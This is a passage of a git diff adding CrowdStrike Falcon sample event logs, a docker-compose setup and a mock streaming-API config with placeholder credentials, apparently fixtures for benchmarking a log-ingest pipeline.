diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log
new file mode 100644
index 0000000000..138852e4d4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log
@@ -0,0 +1 @@
+{"metadata":{"customerIDString":"12312312312312321","offset":2662765,"eventType":"IdpDetectionSummaryEvent","eventCreationTime":1686848064000,"version":"1.0"},"event":{"ContextTimeStamp":133221234560000000,"DetectId":"12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000","DetectName":"Unusual login to an endpoint","DetectDescription":"A user logged in to a machine for the first time","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/12345678901234567890123456789012:ind:12345678901234567890123456789012:12345678-1234-1234-1234-123456789000?cid=12345678901234567890123456789012","StartTime":123456789000000000,"EndTime":123456789000000000,"Severity":7,"Tactic":"Initial Access","Technique":"Valid Accounts","Objective":"Gain Access","SourceAccountDomain":"DOMAIN.COM","SourceAccountName":"johnb","SourceAccountObjectSid":"S-1-3-44-55555555-666666666-7777777777-88888","SourceEndpointAccountObjectGuid":"12345678-1234-1234-1234-123456789000","SourceEndpointAccountObjectSid":"S-1-3-44-55555555-666666666-7777777777-88888","SourceEndpointHostName":"pc01.domain.com","SourceEndpointIpAddress":"81.2.69.144","SourceEndpointSensorId":"12345678901234567890123456789012","PrecedingActivityTimeStamp":133154452345780000,"MostRecentActivityTimeStamp":133313215755670000,"ActivityId":"12345678-1234-1234-1234-123456789000","PatternId":51135}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log
new file mode 100644
index 0000000000..f9676e2029
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log
@@ -0,0 +1 @@
+{"metadata":{"customerIDString":"0123456789ABCDEFGHIJKLMNOPQRSTUV","offset":701283,"eventType":"MobileDetectionSummaryEvent","eventCreationTime":1649420269000,"version":"1.0"},"event":{"SensorId":"85ae98xxxxxxd9a8f2","MobileDetectionId":1310556238,"ComputerName":"TESTComputer","UserName":"TestUSER","ContextTimeStamp":1649061056,"DetectId":"0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238","DetectName":"AppSideloadDetected","DetectDescription":"Apps are installed from outside the PlayStore. Trigger based on a System callback when apps are installed or updated. ","Tactic":"Insecure security posture","TacticId":"CSTA0009","Technique":"Bad device settings","TechniqueId":"CST0024","Objective":"Falcon Detection Method","Severity":50,"FalconHostLink":"https://falcon.crowdstrike.com/mobile/detections/0123456789ABCDEFGHIJKLMNOPQRSTUV:ind:85ae98xxxxxxd9a8f2:41104|1310556238?_cid=0123456789ABCDEFGHIJKLMNOPQRSTUV","MobileAppsDetails":[{"AppIdentifier":"com.facebook.katana","AndroidAppLabel":"Facebook","DexFileHashes":"abc456xxxxxxxxxxxxxxxxdef789","ImageFileName":"/data/app/com.facebook.katana-djFExxxxxxxxxrkg==/base.apk","AppInstallerInformation":"unknown","IsBeingDebugged":false,"AndroidAppVersionName":"323.0.0.46.119","IsContainerized":false}]}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log
new file mode 100644
index 0000000000..af4c5409e0
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log
@@ -0,0 +1 @@
+{"metadata":{"customerIDString":"1231231231231","offset":2664218,"eventType":"ReconNotificationSummaryEvent","eventCreationTime":1686889114000,"version":"1.0"},"event":{"NotificationId":"oifgdjgpoidfsjhpoihio","Highlights":["Some highlighed text \u0026lt;cs-highlight\u0026gt;test\u0026lt;/cs-highlight\u0026gt; \u0026lt;cs-highlight\u0026gt;gdsfgasd\u0026lt;/cs-highlight\u0026gt;.\n\nAs an Some more text"],"MatchedTimestamp":1686889114000,"RuleId":"123543-0cb1-4806-9ccd-a543123","RuleName":"TestRuleName","RuleTopic":"TestRuleTopic","RulePriority":"high","ItemId":"oigjfdsiughsiopudhfoiusadhfiouhipou==","ItemType":"post","ItemPostedTimestamp":1686873909000}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log
new file mode 100644
index 0000000000..238a949098
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log
@@ -0,0 +1,2 @@
+{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":1045,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1582830734000,"version":"1.0"},"event":{"SessionId":"12345a1bc2d34fghi56jk7890lmno12p","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","StartTimestamp":1582830734}}
+{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":1046,"eventType":"RemoteResponseSessionEndEvent","eventCreationTime":1582830772000,"version":"1.0"},"event":{"SessionId":"12345a1bc2d34fghi56jk7890lmno12p","HostnameField":"hostnameofmachine","UserName":"first.last@company.com","EndTimestamp":1582830772}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log
new file mode 100644
index 0000000000..cbb3da3959
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log
@@ -0,0 +1,7 @@
+{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70689,"eventType":"FirewallMatchEvent","eventCreationTime":1595248906000,"version":"1.0"},"event":{"DeviceId":"718af202ab2c4ba5b6a5d10d39c0e0a5","CustomerId":"12345a1bc2d34fghi56jk7890lmno12p","Ipv":"ipv4","CommandLine":"","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":false,"Monitor":true},"HostName":"TESTDEVICE01","ICMPCode":"","ICMPType":"","ImageFileName":"","LocalAddress":"10.37.60.194","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"206158879910","PolicyName":"PROD-FW-Workstations-General","PolicyID":"74e7f1552a3a4d90a6d65578642c8584","Protocol":"6","RemoteAddress":"10.37.60.21","RemotePort":"54952","RuleAction":"2","RuleDescription":"","RuleFamilyID":"fec73e96a1bf4481be582c3f89b234fa","RuleGroupName":"SMB Rules","RuleName":"Inbound SMB Block \u0026 Log Private","RuleId":"4877172638743447345","Status":"","Timestamp":"2020-07-20T12:41:44Z","TreeID":""}}
+{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57181,"eventType":"IncidentSummaryEvent","eventCreationTime":1595005328414,"version":"1.0"},"event":{"IncidentStartTime":1595005316,"IncidentEndTime":1595005316,"FalconHostLink":"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54","State":"open","FineScore":0.1,"LateralMovement":0}}
+{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70509,"eventType":"AuthActivityAuditEvent","eventCreationTime":1595247970093,"version":"1.0"},"event":{"UserId":"first.last@company.com","UserIp":"67.43.156.15","OperationName":"saml2Assert","ServiceName":"Crowdstrike Authentication","Success":true,"UTCTimestamp":1595247970,"AuditKeyValues":[{"Key":"trace_id","ValueString":"b0b33836-555c-4e0e-a5ef-d368f6799f6b"},{"Key":"actor_user","ValueString":"first.last@company.com"},{"Key":"actor_user_uuid","ValueString":"123ab123-abc1-12a1-12a1-12a1ab12a1a1"},{"Key":"actor_cid","ValueString":"123456a1ab1a12abc12ab1234abcd12a"},{"Key":"target_user","ValueString":"first.last@company.com"}]}}
+{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70683,"eventType":"UserActivityAuditEvent","eventCreationTime":1595248885000,"version":"1.0"},"event":{"UserId":"Crowdstrike","UserIp":"","OperationName":"quarantined_file_update","ServiceName":"quarantined_files","AuditKeyValues":[{"Key":"quarantined_file_id","ValueString":"ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21"},{"Key":"action_taken","ValueString":"quarantined"}],"UTCTimestamp":1595248885}}
+{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57217,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1595006093000,"version":"1.0"},"event":{"SessionId":"330633db-1cda-4355-b0d8-2c2edc91fe3e","HostnameField":"TESTDEVICE01","UserName":"first.last@company.com","StartTimestamp":1595006093}}
+{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57269,"eventType":"RemoteResponseSessionEndEvent","eventCreationTime":1595006899000,"version":"1.0"},"event":{"SessionId":"330633db-1cda-4355-b0d8-2c2edc91fe3e","HostnameField":"TESTDEVICE01","UserName":"first.last@company.com","EndTimestamp":1595006899,"Commands":["cd \\Program Files (x86)\\Symantec","ls .","cd \\Program Files (x86)","ls .","reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default","reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```","reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default","restart","restart -Confirm"]}}
+{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57047,"eventType":"DetectionSummaryEvent","eventCreationTime":1595002291000,"version":"1.0"},"event":{"ProcessStartTime":1595002290,"ProcessEndTime":1595002290,"ProcessId":663790158277,"ParentProcessId":627311656469,"ComputerName":"TESTDEVICE01","UserName":"First.last","DetectName":"NGAV","DetectDescription":"This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.","Severity":2,"SeverityName":"Low","FileName":"filename.exe","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path","CommandLine":"\"C:\\ProgramData\\file\\path\\filename.exe\" ","SHA256String":"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb","MD5String":"0ab1235adca04aef6239f5496ef0a5df","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"NA","ExecutablesWritten":[{"Timestamp":1595002290,"FileName":"NEURO_200_J1939Configuration.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"},{"Timestamp":1595002290,"FileName":"NEURO_200_J1939Configuration.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"},{"Timestamp":1595002290,"FileName":"NEURO_200_J1939CanPackMessage.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"},{"Timestamp":1595002290,"FileName":"NEURO_200_J1939CanPackMessage.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"}],"FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p","SensorId":"1abcd2345b8c4151a0cb45dcfbe6d3d0","IOCType":"hash_sha256","IOCValue":"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb","DetectId":"ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719","LocalIP":"10.1.190.117","MACAddress":"54-ad-d4-d2-a8-0b","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been blocked if related prevention policy setting was enabled.","PatternDispositionValue":2304,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false},"ParentImageFileName":"\\Device\\HarddiskVolume2\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log
new file mode 100644
index 0000000000..90117e7174
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log
@@ -0,0 +1 @@
+{"metadata":{"customerIDString":"123123abcd","offset":3,"eventType":"UserActivityAuditEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"UserId":"TESTUSERID","UserIp":"175.16.199.1","OperationName":"detection_update","ServiceName":"detections","AuditKeyValues":[{"Key":"detection_id","ValueString":"TESTVALUE:ind:STRING123:456-123-654"}],"UTCTimestamp":1686839378,"Attributes":{"detection_id":"DETECTID:ind:TESTID:456-123-654"}}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log
new file mode 100644
index 0000000000..4c9af0cffd
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log
@@ -0,0 +1 @@
+{"metadata":{"customerIDString":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","eventCreationTime":1651174243000,"eventType":"XdrDetectionSummaryEvent","offset":34280810,"version":"1.0"},"event":{"Author":"CrowdStrike","DataDomains":"Identity,Network,Endpoint","Description":"Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.","DetectId":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc","EndTimeEpoch":1643317927664000000,"IPv4Addresses":"81.2.69.144,81.2.69.192","HostNames":"XDR-WIN10","Name":"Metasploit and brute force login attempt","PatternId":100011,"Severity":90,"SourceProducts":"Falcon,Corelight","SourceVendors":"CrowdStrike,Corelight","StartTimeEpoch":1643317697728000000,"TacticIds":"TA0001,TA0002","Tactics":"Initial Access,Execution","TechniqueIds":"T1566.001,T1203","Techniques":"Spearphishing Attachment,Exploitation for Client Execution","XdrType":"xdr"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml
new file mode 100644
index 0000000000..70aacaa240
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml
@@ -0,0 +1,20 @@
+version: '2.3'
+services:
+  crowdstrike-logfile:
+    image: alpine
+    volumes:
+      - ./sample_logs:/sample_logs:ro
+      - ${SERVICE_LOGS_DIR}:/var/log
+    command: /bin/sh -c "cp /sample_logs/* /var/log/"
+  crowdstrike-streaming:
+    image: docker.elastic.co/observability/stream:v0.18.0
+    ports:
+      - 8080
+    volumes:
+      - ./files:/files:ro
+    environment:
+      PORT: 8080
+    command:
+      - http-server
+      - --addr=:8080
+      - --config=/files/config.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml
new file mode 100644
index 0000000000..f8f1d24680
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml
@@ -0,0 +1,75 @@
+rules:
+  - path: /oauth2/token
+    methods: ["POST"]
+    query_params:
+      client_id: slightlysecretclientid
+      client_secret: totallysecretlientsecret
+      grant_type: client_credentials
+    request_headers:
+      Content-Type:
+        - "application/x-www-form-urlencoded"
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - "application/json"
+        body: |-
+          {{ minify_json `
+          {
+            "access_token": "topsecretaccesstokenthatshouldnotbeleakedforabit",
+            "token_type": "Bearer"
+          }
+          `}}
+
+  - path: /sensors/entities/datafeed/v2
+    methods: ["GET"]
+    request_headers:
+      authorization: ["Bearer topsecretaccesstokenthatshouldnotbeleakedforabit"]
+    query_params:
+      appId: nonsecretappid
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - "application/json"
+        body: |-
+          {{ minify_json `
+          {
+              "resources": [
+                  {
+                      "dataFeedURL": "http://svc-crowdstrike-streaming:8080/events",
+                      "sessionToken": {
+                          "token": "secretsessiontoken"
+                      },
+                      "refreshActiveSessionURL": "http://svc-crowdstrike-streaming:8080/refresh",
+                      "refreshActiveSessionInterval": 1800
+                  }
+              ]
+          }
+          `}}
+
+  - path: /events
+    methods: ["GET"]
+    request_headers:
+      authorization: ["Token secretsessiontoken"]
+    query_params:
+      offset: null
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - "application/json"
+        body: |-
+          {"metadata":{"customerIDString":"abcabcabc22221","offset":1,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}}
+          {"metadata":{"customerIDString":"abcabcabc22222","offset":2,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}}
+          400
+          {"metadata":{"customerIDString":"abcabcabc22223","offset":3,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}}
+
+  - path: /refresh
+    methods: ["POST"]
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - "application/json"
+        body: ''
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log
new file mode 100644
index 0000000000..1a403c955c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log
@@ -0,0 +1,277 @@
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 1045,
+        "eventType": "RemoteResponseSessionStartEvent",
+        "eventCreationTime": 1582830734000,
+        "version": "1.0"
+    },
+    "event": {
+        "SessionId": "6020260b-0398-4d41-999d-5531b55522de",
+        "HostnameField": "hostnameofmachine",
+        "UserName": "first.last@company.com",
+        "StartTimestamp": 1582830734
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 1046,
+        "eventType": "RemoteResponseSessionEndEvent",
+        "eventCreationTime": 1582830772000,
+        "version": "1.0"
+    },
+    "event": {
+        "SessionId": "6020260b-0398-4d41-999d-5531b55522de",
+        "HostnameField": "hostnameofmachine",
+        "UserName": "first.last@company.com",
+        "EndTimestamp": 1582830772
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 0,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581542950710,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz",
+        "UserIp": "10.10.0.8",
+        "OperationName": "streamStarted",
+        "ServiceName": "Crowdstrike Streaming API",
+        "Success": true,
+        "UTCTimestamp": 1581542950,
+        "AuditKeyValues": [
+            {
+                "Key": "APIClientID",
+                "ValueString": "1234567890abcdefghijklmnopqr"
+            },
+            {
+                "Key": "partition",
+                "ValueString": "0"
+            },
+            {
+                "Key": "offset",
+                "ValueString": "-1"
+            },
+            {
+                "Key": "appId",
+                "ValueString": "siem-connector-v2.0.0"
+            },
+            {
+                "Key": "eventType",
+                "ValueString": "[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]"
+            }
+        ]
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 1,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581543577147,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "twoFactorAuthenticate",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581543577147
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 2,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581545677554,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "bob@company.com",
+        "UserIp": "192.168.6.3",
+        "OperationName": "twoFactorAuthenticate",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581545677554
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 3,
+        "eventType": "UserActivityAuditEvent",
+        "eventCreationTime": 1581546248000,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "chris@company.com",
+        "UserIp": "192.168.6.13",
+        "OperationName": "update_group",
+        "ServiceName": "groups",
+        "AuditKeyValues": [
+            {
+                "Key": "group_id",
+                "ValueString": "3c80ce30b9654cb4bd15beec6a517e65"
+            },
+            {
+                "Key": "action_name",
+                "ValueString": "add_group_member"
+            }
+        ],
+        "UTCTimestamp": 1581546248
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 4,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581601312140,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "requestResetPassword",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581601312140,
+        "AuditKeyValues": [
+            {
+                "Key": "target_name",
+                "ValueString": "alice@company.com"
+            }
+        ]
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 5,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581601341730,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "twoFactorAuthenticate",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581601341730
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 6,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581601520236,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "changePassword",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581601520236,
+        "AuditKeyValues": [
+            {
+                "Key": "target_name",
+                "ValueString": "first.last@company.com"
+            }
+        ]
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 7,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581601572362,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "userAuthenticate",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581601572362
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 8,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581601814754,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "twoFactorAuthenticate",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581601814754
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 9,
+        "eventType": "AuthActivityAuditEvent",
+        "eventCreationTime": 1581601820289,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "selfAcceptEula",
+        "ServiceName": "CrowdStrike Authentication",
+        "Success": true,
+        "UTCTimestamp": 1581601820289
+    }
+}
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 10,
+        "eventType": "UserActivityAuditEvent",
+        "eventCreationTime": 1581603262000,
+        "version": "1.0"
+    },
+    "event": {
+        "UserId": "alice@company.com",
+        "UserIp": "192.168.6.8",
+        "OperationName": "detection_update",
+        "ServiceName": "detections",
+        "AuditKeyValues": [
+            {
+                "Key": "detection_id",
+                "ValueString": "ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745"
+            },
+            {
+                "Key": "new_state",
+                "ValueString": "in_progress"
+            },
+            {
+                "Key": "assigned_to",
+                "ValueString": "First Last"
+            },
+            {
+                "Key": "assigned_to_uid",
+                "ValueString": "first.last@company.com"
+            }
+        ],
+        "UTCTimestamp": 1581603262
+    }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log
new file mode 100644
index 0000000000..0980bf0fb6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log
@@ -0,0 +1,94 @@
+{
+    "metadata": {
+        "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b",
+        "offset": 294564,
+        "eventType": "DetectionSummaryEvent",
+        "eventCreationTime": 1582101000000,
+        "version": "1.0"
+    },
+    "event": {
+        "ProcessStartTime": 1536846339,
+        "ProcessEndTime": 0,
+        "ProcessId": 38684386611,
+        "ParentProcessId": 38682494050,
+        "ComputerName": "alice-laptop",
+        "UserName": "alice",
+        "DetectName": "Process Terminated",
+        "DetectDescription": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.",
+        "Severity": 4,
+        "SeverityName": "High",
+        "FileName": "explorer.exe",
+        "FilePath": "\\Device\\HarddiskVolume1\\Windows",
+        "CommandLine": "C:\\Windows\\Explorer.EXE",
+        "SHA256String": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a",
+        "MD5String": "ac4c51eb24aa95b77f705ab159189e24",
+        "MachineDomain": "CORP-DOMAIN",
+        "FalconHostLink": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4",
+        "SensorId": "7c808b4c8878433287eea53d4a8c3268",
+        "DetectId": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584",
+        "LocalIP": "192.168.12.51",
+        "MACAddress": "00-00-00-11-22-33",
